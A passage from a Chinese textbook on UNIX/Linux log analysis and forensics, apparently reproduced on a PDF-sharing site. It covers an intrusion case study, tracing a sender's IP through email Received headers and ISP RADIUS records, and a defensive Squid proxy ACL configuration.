Server: ns1.movie.com Address: 10.1.1.11 Name: chewie.someisp.ru Address: 10.100.4x.5x 经过综合分析,比较邮件头信息和蜜罐系统中找到的 IP,完全吻合,这回发送者 IP 终 于找到了,张坤松了口气。下面只要通过电信找到这个人是在哪里拨号上网的,就能找到申 请人电话、住址及姓名。 疑难解析 1)由于在 FTP 或 SSH 日志文件中没有发现可疑的活动,调查人员在寻找服务器和被窃 取视频文件的日志时,最初的调查大多集中在某些特定的日志文件上,而没有对所有的文件 进行检查。 2)在局域网中跟踪一个捣乱的系统的确很繁琐。张坤的方法虽然花了大量时间,但仍 是最好的办法。张坤在最初的调查中应该断开代理服务器外部接口的连接,这样可以防止黑 客再次通过代理服务器“造访”。考虑到他们面临的处境和老板所给的指示,计划给黑客设 一个“陷阱”也是有一定意义的。还有一个简单的解决方法是从网络上彻底断开这台服务器 的物理连接,因为这台服务器并没有使用。如果要用这台服务器,应该配置合理的 ACL(访 问控制列表),拒绝来自因特网对内网的访问。 3)通过邮箱中发送的邮件信头信息分析。 囿于篇幅,本书仅选取信头信息中对证据认定起到重要作用的字段进行分析。首先指 出的是信头信息是由发件人 MUA(Mail User Agent)、发件人和收件人邮件服务器、中继 邮件服务器在处理该邮件时逐个添加的,收件人的 MUA 在最后收取邮件时一般不会添加 信头信息。 第一个 Received 字段: Received: from web15604.mail.cnb.yahoo.com ([ 202.165.102.5x ]) by SNT0 -MC3 -F14.Snt0. hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);Sat,24 Sep 2010 08:17:50 -0700  说明: Received 字段是最重要的分析渠道,是邮件服务器自动记录的邮件在 MTA(Message Transfer Agent)上的痕迹,因此一般能够提供真实的邮件传输历史记录。即使在其他信头字 段被伪造的情况下,通过对 Received 字段信息的分析,也能发现伪造者的蛛丝马迹。 邮件的传递需要通过中继服务器中转,最后才抵达收件人服务器 MTA。所以 Received 字段会多于两个。对取证来说,只用到两个,包括最上面的 Received 字段,邮件的“最后一 站”,即传送到收件人服务器的轨迹信息;以及最下面的 Received 字段,邮件的“第一站”, 即邮件从 MUA 传送到发件人服务器的轨迹信息。 第 2 章 UNIX/Linux 系统取证 91 本字段表示该邮件是在服务器时间 2010 年 9 月 24 日 23:17:50,被 web15604.mail.cnb. yahoo.com (其 IP 地址为 202.165.102.5x )的邮件服务器传送到域名为 SNT0-MC3- F14.Snt0.hotmail.com 的邮件服务器,使用的软件是 Microsoft SMTPSVC(内部版本号为 6.0.3790.4675)。 第二个 Received 字段: Received: from [122.246.51.2x] by web15604.mail.cnb.yahoo.com viaHTTP;Sat,24 Sep 2010 23:17:48 CST  说明: 这个 Received 字段,是邮件的“第一站” ,可以用于证明邮件经编辑后发送到发件人服 务器的事实,也是确定发件人身份最重要的一段信息。 本段信息表示该邮件是在服务器时间 2010 年 9 月 24 日 23:17:48 被一个 IP 地址为 122. 246.51.2x 的 MUA 工作站(该工作站未命名,故 from 后的字段空白)通过网页(viaHTTP) 传送到域名为 web15604.mail.cnb.yahoo.com 的邮件服务器。 这个字段揭示了该邮件的真实发送时间为 2010 年 9 月 24 日 23:17:48,由于是通过 Web Mail 直接生成邮件发送,因此信息中没有邮件发送者使用的计算机名称(但有该终端使用的 IP 地址,该地址通过登录中国互联网络信息中心 CNNIC IP 地址注册信息查询系统查询,确 认是中国电信某城市分公司使用的,电信分配的地址是动态 IP 地址)。 请注意[122.246.51.2x]字节,方括号内的 IP 地址不是邮件发送人提供给服务器的,而 是由发件人服务器核查后取得的使用 MUA 发送邮件的计算机的 IP 地址,因此可以直接确定 是发送邮件计算机的真实 IP 地址。 4)可以通过 FLUKE OptiView 综合网络分析仪或者使用 Cisco Works 2000 网络管理平台 查找到非法接入点。 5)拨号者的上网 IP 地址就是他的互联网访问“身份证”。在十多年前,多数用户通过 PSTN 或 ISDN 方式 PPP 接入,调查这类用户的地址可以根据自动号码识别 ANI 技术获取用 户的主叫电话号码,并通过 RADIUS 服务器中存储的用户信息确定用户的接入来源;对于目 前应用比较广泛的 ADSL 宽带接入,用户接入来源的确认就没有那么直观了。主要问题是语 音业务和数据业务是分离的,所以不能直接获得用户的电话号码,这时要获取用户的真实来 源就要利用电信内部的认证/计费记录和用户信息/系统配置数据库才能查到有用信息。如 图 2-11 所示。 对于宽带用户使用 PPPOE 方式网上犯罪行为,电信运营商需要配合公安局进行罪犯的 身份追查,而在技术层面需要提供的信息,通常就是用户的精确定位信息,也就是说,通过 用户的上网记录、上网 IP 反查出用户上网的线路信息,然后进一步追踪到用户的身份。 下面举个例子。通常普通用户都是使用 ADSL 接入电信或联通网络,当你开始拨号获取 动态 IP,ISP 会根据你的宽带 ADSL 账号、密码随即在一个地址池中分配一个 IP 地址,与 此同时记录以下时间信息:2013 年 2 月 28 日 18 时 30 分 29 秒,101023123383894(账号), IP:202.107.2.x,操作系统 Windows 7,拨号电话 12345678,当然实际记录信息比这个还要详 细。在电信局查询注册电话号码就知道主人是谁。 92 UNIX/Linux 网络日志分析与流量监控 图 2-11 拨号用户和 RADIUS 服务器交互过程 预防措施 在这个案例中,张坤并没有意识到网络中存在这样一个代理服务器,这简直糟透了。如 果你管理一个网络,最好对网络进行安全审计。前任 IT 管理员留下的网络结构图中清楚地 指明了代理服务器,但是因为服务器没有上线,所以没有引起张坤的注意。既然代理服务器 并没有真正使用,所以应该及时与网络断开。 开放式代理服务器的最大问题是访问控制列表的不合适的配置。对于 Squid 代理服务器 来说,合适的设置应该是下面这样: acl mynetwork src 192.168.1.0/255.255.255.0 http_access allow mynetwork http_access deny all 在这个案例中,张坤采取了适当的补救方法。尽管在开始的时候他的方法有些不得当, 但当他开始怀疑代理服务器的时候,他就从网络中断开了该服务器的物理连接。在服务器从 物理上断开后,就可以开始细致的检查,而不用担心黑客会再次通过代理服务器入侵。同时 张坤还应该考虑检查所有的日志文件,这样才可能全面评估这次入侵造成的损失。
还剩92页未读

继续阅读

下载pdf到电脑,查找使用更方便

pdf的实际排版效果,会与网站的显示效果略有不同!!

需要 10 金币 [ 分享pdf获得金币 ] 0 人已下载

下载pdf

pdf贡献者

nngrr

贡献于2015-10-26

下载需要 10 金币 [金币充值 ]
亲,您也可以通过 分享原创pdf 来获得金币奖励!